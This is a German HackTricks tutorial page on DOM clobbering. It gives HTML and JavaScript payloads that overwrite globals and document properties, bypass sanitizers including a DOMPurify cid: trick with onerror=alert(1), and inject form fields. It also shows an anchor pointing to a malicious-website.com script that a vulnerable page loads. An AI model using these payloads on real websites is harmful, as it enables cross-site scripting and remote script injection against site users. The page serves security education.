13 KiB
Dom Clobbering
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs.
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise.
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und das hacktricks-cloud repo senden.
Grundlagen
Es ist möglich, globale Variablen im JS-Kontext mit den Attributen id
und name
in HTML-Tags zu generieren.
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
Nur bestimmte Elemente können das name-Attribut verwenden, um globale Variablen zu überschreiben. Diese sind: embed
, form
, iframe
, image
, img
und object
.
Interessanterweise erhält man, wenn man ein Formularelement verwendet, um eine Variable zu überschreiben, den toString
-Wert des Elements selbst: [object HTMLFormElement]
, aber mit dem Anker ist der toString
der Anker-href. Daher kann man, wenn man das a
-Tag verwendet, die Wert kontrollieren, wenn es als Zeichenkette behandelt wird:
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
Arrays & Attribute
Es ist auch möglich, ein Array und Objektattribute zu überschreiben:
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
Um ein drittes Attribut (z. B. x.y.z) zu überschreiben, müssen Sie ein form
verwenden:
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
Das Überschreiben weiterer Attribute ist komplizierter, aber immer noch möglich, indem man iframes verwendet:
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
{% hint style="warning" %} Der style-Tag wird verwendet, um dem iframe genügend Zeit zum Rendern zu geben. Ohne ihn erhalten Sie eine Warnung für "undefined". {% endhint %}
Um tiefere Attribute zu überschreiben, können Sie iframes mit HTML-Codierung verwenden, wie folgt:
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
Filterumgehung
Wenn ein Filter die Eigenschaften eines Knotens mit etwas wie document.getElementByID('x').attributes
durchläuft, könnten Sie das Attribut .attributes
überschreiben und den Filter außer Kraft setzen. Andere DOM-Eigenschaften wie tagName
, nodeName
oder parentNode
und mehr sind ebenfalls überschreibbar.
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
Überschreiben von window.someObject
In JavaScript ist es üblich, Folgendes zu finden:
var someObject = window.someObject || {};
Die Manipulation von HTML auf der Seite ermöglicht das Überschreiben von someObject
mit einem DOM-Knoten und kann potenziell Sicherheitslücken verursachen. Zum Beispiel können Sie someObject
durch ein Anker-Element ersetzen, das auf ein bösartiges Skript verweist:
<a id=someObject href=//malicious-website.com/malicious.js></a>
In einem anfälligen Code wie:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
Diese Methode nutzt die Skriptquelle aus, um unerwünschten Code auszuführen.
Trick: DOMPurify
ermöglicht die Verwendung des Protokolls cid:
, das Anführungszeichen nicht URL-codiert. Dies bedeutet, dass Sie ein codiertes Anführungszeichen injizieren können, das zur Laufzeit decodiert wird. Daher führt das Injizieren von etwas wie <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
dazu, dass das HTML-codierte "
zur Laufzeit decodiert wird und aus dem Attributwert entkommt, um das Ereignis onerror
zu erzeugen.
Eine andere Technik verwendet ein form
-Element. Bestimmte clientseitige Bibliotheken überprüfen die Attribute eines neu erstellten Formulars, um sie zu bereinigen. Durch Hinzufügen eines input
mit id=attributes
innerhalb des Formulars überschreiben Sie effektiv das Attribut attributes
und verhindern, dass der Sanitizer auf die tatsächlichen Attribute zugreift.
Sie können ein Beispiel für diese Art von Clobbering in diesem CTF-Writeup finden.
Überschreiben des Dokumentobjekts
Gemäß der Dokumentation ist es möglich, Attribute des Dokumentobjekts mit DOM Clobbering zu überschreiben:
Das Document-Interface unterstützt benannte Eigenschaften. Die unterstützten Eigenschaftsnamen eines Document-Objekts bestehen zu jedem Zeitpunkt aus den folgenden, in Baumreihenfolge entsprechend dem Element, das sie beigetragen hat, wobei spätere Duplikate ignoriert werden und Werte von id-Attributen vor Werten von name-Attributen stehen, wenn dasselbe Element sowohl das eine als auch das andere beiträgt:
- Der Wert des name-Inhaltsattributs für alle exposed embed-, form-, iframe-, img- und exposed object-Elemente, die ein nicht leeres name-Inhaltsattribut haben und sich in einem Dokumentbaum mit dem Dokument als Wurzel befinden;
- Der Wert des id-Inhaltsattributs für alle exposed object-Elemente, die ein nicht leeres id-Inhaltsattribut haben und sich in einem Dokumentbaum mit dem Dokument als Wurzel befinden;
- Der Wert des id-Inhaltsattributs für alle img-Elemente, die sowohl ein nicht leeres id-Inhaltsattribut als auch ein nicht leeres name-Inhaltsattribut haben und sich in einem Dokumentbaum mit dem Dokument als Wurzel befinden.
Mit dieser Technik können Sie häufig verwendete Werte wie document.cookie
, document.body
, document.children
und sogar Methoden in der Document-Schnittstelle wie document.querySelector
überschreiben.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Schreiben nach dem überschriebenen Element
Die Ergebnisse von Aufrufen von document.getElementById()
und document.querySelector()
können durch das Einfügen eines <html>
- oder <body>
-Tags mit einem identischen id-Attribut verändert werden. So kann es gemacht werden:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
Darüber hinaus kann durch die Verwendung von Stilen, um diese injizierten HTML-/Body-Tags zu verbergen, eine Beeinträchtigung durch anderen Text im innerText
verhindert werden, wodurch die Effektivität des Angriffs erhöht wird:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Untersuchungen zu SVG haben ergeben, dass ein <body>
-Tag ebenfalls effektiv genutzt werden kann:
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Um das HTML-Tag in SVG in Browsern wie Chrome und Firefox zu verwenden, ist ein <foreignobject>
-Tag erforderlich:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Clobbering von Formularen
Es ist möglich, neue Einträge in einem Formular hinzuzufügen, indem man einfach das form
-Attribut in einigen Tags angibt. Dies kann verwendet werden, um neue Werte in einem Formular hinzuzufügen und sogar einen neuen Button zum Absenden hinzuzufügen (Clickjacking oder Missbrauch von .click()
JS-Code):
{% code overflow="wrap" %}
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
{% endcode %}
- Weitere Formattribute finden Sie hier.
Referenzen
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript für Hacker: Lernen Sie, wie ein Hacker zu denken.
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version des PEASS erhalten oder HackTricks als PDF herunterladen? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und das hacktricks-cloud repo senden.